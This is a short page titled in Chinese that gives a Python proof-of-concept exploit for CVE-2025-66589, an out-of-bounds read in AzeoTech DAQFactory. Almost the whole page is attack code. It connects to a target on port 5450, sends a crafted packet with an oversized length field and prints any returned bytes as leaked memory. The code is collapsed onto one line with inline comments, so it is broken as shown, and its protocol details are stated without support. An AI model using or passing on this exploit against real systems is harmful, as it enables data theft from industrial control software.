CVE-2025-66589: AzeoTech DAQFactory越界读取漏洞

# CVE-2025-66589 PoC - AzeoTech DAQFactory Out-of-bounds Read # Target: AzeoTech DAQFactory 20.7 (Build 2555) # This PoC demonstrates an OOB read vulnerability in DAQFactory import socket import struct import sys def send_exploit(target_ip, target_port=5450): """ Send malicious request to trigger OOB read vulnerability DAQFactory uses a proprietary protocol on port 5450 """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Craft malicious packet to trigger OOB read # Protocol header: magic bytes + command + length + payload packet = b'\x44\x41\x51\x46' # DAQF magic header packet += struct.pack('<H', 0x0001) # Command: Read Request # Malicious payload designed to trigger OOB read # The vulnerability occurs when processing oversized length field payload_size = 0xFFFF # Oversized length to trigger OOB packet += struct.pack('<I', payload_size) # Length field packet += b'\x41' * 100 # Padding data sock.send(packet) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") # Receive response (may contain leaked memory data) response = sock.recv(4096) if response: print(f"[+] Received response ({len(response)} bytes)") print(f"[+] Raw data: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5450 print(f"[*] CVE-2025-66589 PoC - DAQFactory OOB Read") print(f"[*] Target: {target}:{port}") send_exploit(target, port)